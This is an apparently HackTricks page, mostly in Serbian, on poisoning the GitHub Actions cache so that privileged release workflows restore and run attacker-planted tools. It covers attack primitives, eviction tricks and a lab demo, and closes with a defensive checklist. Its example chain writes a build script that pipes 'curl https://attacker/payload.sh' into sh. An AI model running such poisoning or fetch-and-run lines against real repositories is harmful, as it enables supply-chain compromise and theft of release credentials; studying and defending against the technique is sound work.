9.1 KiB
GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}
Pregled
GitHub Actions cache je globalan za repozitorijum. Bilo koji workflow koji zna cache key (ili restore-keys) može popuniti tu stavku, čak i ako job ima samo permissions: contents: read. GitHub ne razdvaja keševe po workflow-u, tipu događaja, ili nivou poverenja, pa napadač koji kompromituje job sa niskim privilegijama može poison-ovati keš koji će kasnije vratiti privilegovani release job. Upravo tako je Ultralytics kompromis pivotirao iz pull_request_target workflow-a u PyPI publishing pipeline.
Primitivi napada
actions/cacheexposes both restore and save operations (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Poziv za save je dozvoljen za bilo koji job osim potpuno nepouzdanimpull_requestworkflows pokrenutim iz forkova.- Cache unosi se identifikuju isključivo putem
key. Širokirestore-keysolakšavaju injektovanje payloads jer napadaču je dovoljno da se sudari sa prefiksom. - Cache keys i verzije su vrednosti koje specificira klijent; cache servis ne validira da li key/version odgovara pouzdanom workflow-u ili cache putanji.
- Cache server URL + runtime token su relativno dugovečni u odnosu na workflow (istorijski ~6 hours, now ~90 minutes) i ne mogu se opozvati od strane korisnika. Od kraja 2024. GitHub blokira cache writes nakon što originalni job završi, pa napadači moraju write dok job još radi ili pre-poison future keys.
- Kešovani fajl-sistem se vraća bez izmena. Ako keš sadrži scripts ili binaries koji se kasnije izvršavaju, napadač kontroliše taj path izvršavanja.
- Sam cache fajl se ne validira pri restore; to je samo zstd-compressed archive, pa poisoned entry može prepisati scripts,
package.json, ili druge fajlove unutar restore path-a.
Primer lanca eksploatacije
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Prilegovan workflow je vraćen i izvršio the poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Drugi job sada pokreće attacker-controlled code dok poseduje release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).
Poisoning mechanics
GitHub Actions cache entries su obično zstd-compressed tar archives. Možete jedan pripremiti lokalno i upload-ovati ga u cache:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.
Praktični saveti za eksploataciju
- Ciljajte workflows pokrenute preko
pull_request_target,issue_comment, ili bot komandi koji i dalje čuvaju cache; GitHub im dozvoljava da prepišu repo-wide ključeve čak i kada runner ima samo read access na repo. - Tražite determinističke cache ključeve koji se ponovo koriste preko trust granica (na primer,
pip-${{ hashFiles('poetry.lock') }}) ili permisivnerestore-keys, pa sačuvajte svoj maliciozni tarball pre nego što pokrenuti privilegovani workflow. - Pratite logove za
Cache savedunose ili dodajte sopstveni cache-save korak tako da sledeći release job obnovi payload i izvrši trojanizovane skripte ili binarne fajlove.
Novije tehnike viđene u Angular (2026) lancu
- Cache v2 "prefix hit" behavior: In Cache v2, exact misses can still restore another entry sharing the same key prefix (effectively "all keys are restore keys"). Napadači mogu predseed-ovati ključeve bliske koliziji tako da budući miss pada na poison-ovani objekat.
- Forced eviction in one run: Since November 20, 2025, GitHub evicts entries immediately when repository cache usage exceeds the limit (10 GB by default). Napadač može prvo upload-ovati junk cache podatke, izbaciti legitimne unose tokom istog job-a, a zatim upisati maliciozni cache key bez čekanja dnevnog ciklusa čišćenja.
setup-nodecache pivots via reusable actions: Reusable/internal actions koje enkapsulirajuactions/setup-nodesacache-dependency-pathmogu tihi povezati low-trust i high-trust workflows. Ako oba puta hešuju na deljene ključeve, trovanje dependency cache-a može se izvršiti u privilegovanoj automatizaciji (na primer Renovate/bot jobs).- Chaining cache poisoning into bot-driven supply chain abuse: U Angular slučaju, cache poisoning je otkrio bot PAT, koji je potom mogao da se iskoristi za force-push bot-owned PR headova nakon odobrenja. Ako pravila za resetovanje odobrenja (approval-reset rules) izuzimaju bot aktere, ovo omogućava zamenu pregledanih commit-ova za maliciozne (na primer imposter action SHAs) pre merge-a.
##å Cacheract
Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. The practical value is that it automates the fragile parts that are easy to get wrong manually:
- Detect and use runtime cache context from the runner (
ACTIONS_RUNTIME_TOKENand cache service URL). - Enumerate and target candidate cache keys/versions used by downstream workflows.
- Force eviction by overfilling cache quota (when applicable) and then writing attacker-controlled entries in the same run.
- Seed poisoned cache content so later workflows restore and execute modified tooling.
This is especially useful in Cache v2 environments where timing and key/version behavior matter more than in early cache implementations.
Demo
Koristite ovo samo u repozitorijumima koje posedujete ili gde vam je eksplicitno dozvoljeno testiranje.
1. Ranljiv workflow (untrusted trigger can save cache)
Ovaj workflow simulira pull_request_target anti-pattern: upisuje cache sadržaj iz konteksta koji kontroliše napadač i čuva ga pod determinističkim ključem.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Privilegovani tok rada (vraća i izvršava keširani binarni/skript)
Ovaj tok rada vraća isti ključ i izvršava toolchain/bin/build dok drži dummy secret. Ako je zatrovan, put izvršavanja je pod kontrolom napadača.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Pokrenite laboratoriju
- Dodajte stabilan
toolchain.lockfajl tako da oba workflows koriste isti cache key. - Pokrenite
untrusted-cache-writeriz test PR-a. - Pokrenite
privileged-consumerputemworkflow_dispatch. - Potvrdite da se
POISONED_BUILD_PATHpojavljuje u logovima i da je kreiran/tmp/cache-poisoning-demo.txt.
4. Šta ovo tehnički demonstrira
- Prekid poverenja keša između workflow-ova: Writer i consumer workflows nemaju isti nivo poverenja, ali dele isti cache namespace.
- Rizik izvršavanja pri restore-u: Ne vrši se verifikacija integriteta pre izvršavanja vraćenog skripta/binarne datoteke.
- Zloupotreba determinističkih ključeva: Ako job sa visokim nivoom poverenja koristi predvidljive ključeve, job sa niskim nivoom poverenja može unapred postaviti zlonamerni sadržaj.
5. Kontrolna lista za proveru odbrane
- Razdvojite ključeve po granici poverenja (
pr-,ci-,release-) i izbegavajte deljene prefikse. - Onemogućite upis u cache u nepouzdanim workflow-ima.
- Heshirajte/verifikujte vraćeni izvršni sadržaj pre pokretanja.
- Izbegavajte izvršavanje alata direktno iz putanja keša.
References
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
{{#include ../../../banners/hacktricks-training.md}}